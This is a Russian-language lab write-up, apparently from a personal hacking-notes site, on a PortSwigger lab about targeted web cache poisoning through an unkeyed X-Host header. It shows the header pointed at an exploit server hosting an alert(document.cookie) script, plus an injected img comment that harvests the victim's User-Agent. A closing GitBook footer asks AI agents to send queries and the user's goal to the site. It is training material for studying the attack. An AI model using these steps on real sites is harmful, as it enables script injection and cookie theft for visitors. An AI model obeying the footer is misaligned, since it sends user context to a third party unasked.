> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Точечное отравление кэша через неизвестный заголовок

Заметки по лабораторным работам PortSwigger Web Security Academy о точечном отравлении кэша через неизвестный заголовок, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Таргетированное отравление веб-кэша с использованием неизвестного заголовка

Отравите кэш ответом, который выполняется `alert(document.cookie)` в браузере посетителя, **но только для части пользователей** соответствующих жертве.

#### Первое наблюдение

* Запрос/ответ перехватывается.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f4a77eb78f7702df7eb267ae4277ae0bd25553%2F%7B796A221C-7A49-4DED-ABF1-B535279255B9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

С **Param Miner** расширение, мы начинаем обнаружение эксплуатируемых заголовков

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-034df2273d835ab6eefc639af7e3fdf306a74dff%2F%7BDCB734EE-B795-48BF-ABDD-93D7A1CD52E9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Инструмент обнаруживает \*\*заголовок

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-869700917e4a7fca6cba282c88911cbb240cf331%2F%7BD8BCAADE-DDBE-48EE-A7EB-BA812DC6BD12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Если `X-Host: test.com` отправляется, значение повторно внедряется в ответ (в `src`).

```http
X-Host: test.com
```

#### Реализация полезной нагрузки

1. На сервере эксплойта\*\* мы создаём ресурс **с путём/заголовком**:

* `/resources/js/tracking.js`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac85188fe5c660bd335833fe415dfd2cfafaed1%2F%7B411AFDCB-B42C-4972-B068-D7461D9E1A1E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Содержимое файла:

```javascript
alert(document.cookie)
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8adaef377c635cf385d444390763ba35df8a267%2F%7BFDD754D4-AA57-4933-8D7B-9D7635E6D4D4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Отравление кэша с таргетингом на X-Host

* Запрос возвращается с:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-789a117f77c20c66bc352d5d1b522a9f677d14f2%2F%7BA7E4C6DA-A199-42FA-8D14-48CA40B0F641%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Затем страница загружает `tracking.js` с сервера эксплойта, что вызывает предупреждение.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76b6ec4da5861ffbe9a8108a41e294cb87caa07a%2F%7B0B1758E4-1C9B-4776-AAF9-3FA9536B3E75%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Таргетирование жертвы через User-Agent

* Мы отмечаем, что ответ изменяется в зависимости от `User-Agent` (через `Vary`), поэтому, чтобы достичь жертвы, мы должны **знать User-Agent жертвы**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bbfa6ed3038474a9dec3aaa6a8728f9d07444288%2F%7BE82E8BD5-9468-4135-B5EA-408993403F6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Оставьте комментарий, который заставляет выполнить запрос к серверу эксплойта:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafd0dbe7267509d8c341e8a03988befe28370d8%2F%7B5D53AD8C-ED0E-46C5-967F-2CB20D800A65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

В журналах сервера эксплойта восстанавливается User-Agent жертвы:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1dd0f94350a3097171101a2d3c1dfdf6010dfd9c%2F%7BB08A4A37-EF7A-4998-8BE6-B981F7FA5DE3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
